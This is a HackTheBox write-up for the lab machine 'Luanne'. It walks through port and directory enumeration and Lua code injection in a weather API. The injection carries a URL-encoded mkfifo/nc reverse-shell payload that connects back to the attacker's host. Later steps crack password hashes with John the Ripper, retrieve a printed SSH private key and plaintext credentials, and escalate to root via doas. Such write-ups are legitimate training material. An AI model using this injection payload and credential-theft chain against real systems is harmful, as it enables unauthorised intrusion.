Luanne - [HTB]

Cover Image for Luanne - [HTB]
Marmeus
Marmeus

Introduction

Luanne is an easy Linux HackTheBox machine where the attacker will have to exploit a weather API in order to get a reverse shell, then will have to get access the user' s folder using a localhost web service. Finally, the attacker will have to find a password in a back up file to become "toor" and getting the flag.

Enumeration

As always I start scanning all open ports on the machine using the following command.

kali@kali:$ sudo nmap -sS -p- -T5 -n --open  10.129.45.136 -oN AllPorts.txt
[sudo] password for kali: 
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-30 16:05 EST
Nmap scan report for 10.129.45.136
Host is up (0.044s latency).
Not shown: 62334 filtered ports, 3198 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9001/tcp open  tor-orport

Nmap done: 1 IP address (1 host up) scanned in 32.08 seconds

Then, doing a deeper scan we get the following information.

kali@kali:$ sudo nmap -sC -sV -p22,80,9001 -n -T5 10.129.45.136 -oN PortsInDepth.txt
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey: 
|   3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
|   521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_  256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp   open  http    nginx 1.19.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=.
| http-robots.txt: 1 disallowed entry 
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd

In the port 80 there is an http service with a /weather directory and in the port 9001 there is a web supervisor process manager.

Trying to get access to the root folder for the ports 80 and 9001, require some credentials to see what inside.

Credentials for port 80
Credentials for port 9001

However, credentials aren't require for the /weather directory, where it seems there is nothing interesting.

404 Not Found

Doing a directory scan with gobuster, we can find a subdirectory named forescast.

kali@kali:$ gobuster dir -t 20 -u http://10.129.45.136/weather/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.129.45.136/weather/
[+] Threads:        20
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt
[+] Timeout:        10s
===============================================================
2020/11/30 18:02:37 Starting gobuster
===============================================================
/forecast (Status: 200)
===============================================================
2020/11/30 18:22:58 Finished
===============================================================

Here appears and error message requesting a city name.

Forecast error message

Using the word list provides a bunch of cities.

City list

Then, using "London" as a parameter we can obtain information about the weather for the following 4 days.

London weather

Writing a bunch of random characters shows the following error.

Forecast error 2

Exploiting

Googleling about Lua code injection there is a post about how to inject code into unsensitized input, which after some trial and error turns out into the following url.

Note: Do not forget to change the IP and PORT in order to get the reverse shell.

kali@kali: rlwrap nc -nvlp 4444
kali@kali: curl http://luanne.htb/weather/forecast?city=London%27%29%3Bos.execute%28%22rm%20%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.X.X%20PORT%20%3E%2Ftmp%2Ff%22%29

In the current folder there is a .htpasswd file with the credentials for the web page in the port 80.

$ pwd
/var/www
$ ls -la
total 20
drwxr-xr-x   2 root  wheel  512 Nov 25 11:27 .
drwxr-xr-x  24 root  wheel  512 Nov 24 09:55 ..
-rw-r--r--   1 root  wheel   47 Sep 16 15:07 .htpasswd
-rw-r--r--   1 root  wheel  386 Sep 17 20:56 index.html
-rw-r--r--   1 root  wheel   78 Nov 25 11:38 robots.txt
$ cat .htpasswd
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0

The password can be found using JohnTheRipper. For that we need to create a file with the hashed password, passing the route file to john.

kali@kali:$ cat htpasswd 
$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0

kali@kali:$ john htpasswd -w=/usr/share/wordlists/rockyou.txt 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iamthebest       (?)
1g 0:00:00:00 DONE (2020-12-01 16:11) 9.090g/s 27490p/s 27490c/s 27490C/s secrets..iamcool
Use the "--show" option to display all of the cracked passwords reliably
Session completed

This credential will be used later on.

Privilege escalation 1

After some enumeration, in the file /etc/supervisord.conf we find the credentials for the supervisor web service.

$ cat /etc/supervisord.conf

[unix_http_server]                    
file=/var/supervisord/run/supervisord.sock      ; path to your socket file

[inet_http_server]                                                                               
port = 0.0.0.0:9001                                                                                       
username = user                                                                          
password = 123     

Once inside, we can find a dashboard where shows which process are running, the uptime of the machine and the memory that is being used.

Supervisor

Inside the following link we can see all process that are being executed. After a while will appear a process executed by r.michaels.

USER         PID %CPU %MEM    VSZ   RSS TTY   STAT STARTED    TIME COMMAND
root           0  0.0  0.1      0  6136 ?     DKl   9:29PM 0:02.54 [system]
root           1  0.0  0.0  19852  1520 ?     Ss    9:29PM 0:01.51 init 
root         163  0.0  0.0  32508  2324 ?     Ss    9:29PM 0:34.35 /usr/sbin/syslogd -s 
r.michaels   185  0.0  0.0  34992  1976 ?     Is    9:30PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www 

Reading the documentation about httpd, we can figure out that the web server is being executed in the michaels' home directory, thanks to the use of the '-u' parameter. So using our reverse shell, curl and the credential we got from .htpasswd file, we can see what is inside.

Note: -u “Causes bozohttpd to switch to the user and the groups of username after. This option, like -t above,causes bozohttpd to clear the environment unless the -e option is given.”.

$ curl -i -u webapi_user:iamthebest http://localhost:3001/~r.michaels/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   601    0   601    0     0   293k      0 --:--:-- --:--:-- --:--:--  293k
HTTP/1.1 200 OK
Date: Fri, 04 Dec 2020 15:27:19 GMT
Server: bozohttpd/20190228
Accept-Ranges: bytes    
Content-Type: text/html
Connection: close

<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
        border-top: 1px solid black; 
        border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>

As we can see there is an "id_rsa" key on the home directory, so we can retrieve it in order to get access to the machine as michael through SSH.

kali@kali:$ curl -i -u webapi_user:iamthebest http://localhost:3001/~r.michaels/id_rsa
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2610  100  2610    0     0   849k      0 --:--:-- --:--:-- --:--:--  849k
HTTP/1.1 200 OK
Date: Fri, 04 Dec 2020 15:27:39 GMT
Server: bozohttpd/20190228
Accept-Ranges: bytes
Last-Modified: Wed, 16 Sep 2020 16:52:06 GMT
Content-Type: text/plain
Content-Length: 2610
Connection: close

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

We need to save the private key as michaels.key, so we can pass it as a parameter to SSH.

kali@kali:$ ssh -i michaels.key r.michaels@luanne.htb

Privilege escalation 2

In the backup folder there is an encrypted file.

luanne$ ls -la backups/                                                                                                                                                                                         
total 12
dr-xr-xr-x  2 r.michaels  users   512 Nov 24 09:26 .
dr-xr-x---  7 r.michaels  users   512 Sep 16 18:20 ..
-r--------  1 r.michaels  users  1970 Nov 24 09:25 devel_backup-2020-09-16.tar.gz.enc

It can be decrypted with the following command.

luanne$ netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output /tmp/devel_backup-2020-09-16.tar.gz

Once, extracted all the files we can see another devel_backup-2020-09-16/www/.htpasswd with a different hash. So, we can use once again john to retrieve the password.

kali@kali:$ john devel-2020-09-16/www/.htpasswd -w=/usr/share/wordlists/rockyou.txt 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
littlebear       (webapi_user)
1g 0:00:00:00 DONE (2020-12-05 19:07) 8.333g/s 108000p/s 108000c/s 108000C/s dominica..balanta
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Because we can not use the command su on this machine, because we are not listed in the "wheels" group, we need to find another way to get a shell as root.

For that, we can use the binary doas which executes any command as another user. For instance, /bin/sh. Doing so, with the user "toor" which has root privileges we retrieve our shell and finishing the machine.

luanne$ doas -u toor /bin/sh
Password:
# id
uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm)